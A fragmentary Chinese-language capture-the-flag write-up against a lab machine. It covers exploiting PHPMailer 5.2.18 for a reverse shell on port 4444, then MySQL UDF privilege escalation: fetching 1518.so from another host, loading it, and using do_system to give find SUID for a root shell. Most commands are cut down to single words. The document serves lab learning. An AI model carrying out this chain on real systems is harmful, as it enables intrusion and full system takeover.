sudo

192.168.16.185开放了80端口尝试登录网址查看信息通过浏览器插件找出指纹

1.3

5.2.18版本存在安全漏洞可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码远程控制目标web应用

漏洞利用

按照需求配置参数先配置靶机的IP和邮箱功能页面和绝对路径在查看设置可以发现kali反弹shell的IP是本机IP

optionsset

phpmailer脚本需要进行一些修改需要知道网站的绝对路径能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径

python3

4444访问http://192.168.16.185/dayu.php就会获得反弹shell

使用find命令搜索一下flag文件得到flag2和flag3

find

pty.spawn(/bin/bash)在网站根目录下查看数据库配置文件

/var/www/html/

通过添加新函数对MYSQL的功能进行扩充性质就象使用本地MYSQL函数如abs()或concat()。

udf在mysql5.1以后的版本中存在于‘mysql/lib/plugin’目录下文件后缀为‘.dll’常用c语言编写。

提权思路

将udf文件放到指定位置Mysql5.1放在Mysql根目录的lib\plugin文件夹下从udf文件中引入自定义函数(user

defined

查看是否满足写入权限secure_file_prive是否为空

show

只允许本地登录所以不能使用msf进行提权了使用searchsploit查看漏洞脚本

searchsploit

http://192.168.16.132:8888/1518.so再次登录数据库并使用以下命令创建自定义函数

连接mysql数据库

values(load_file(/tmp/1518.so));

导出1518.so

调用do_system函数给find命令所有者的suid权限使其执行root

select

mysql.func;在tmp目录下利用find命令执行whoami发现当前权限是root权限使用find命令获取root权限的shell

touch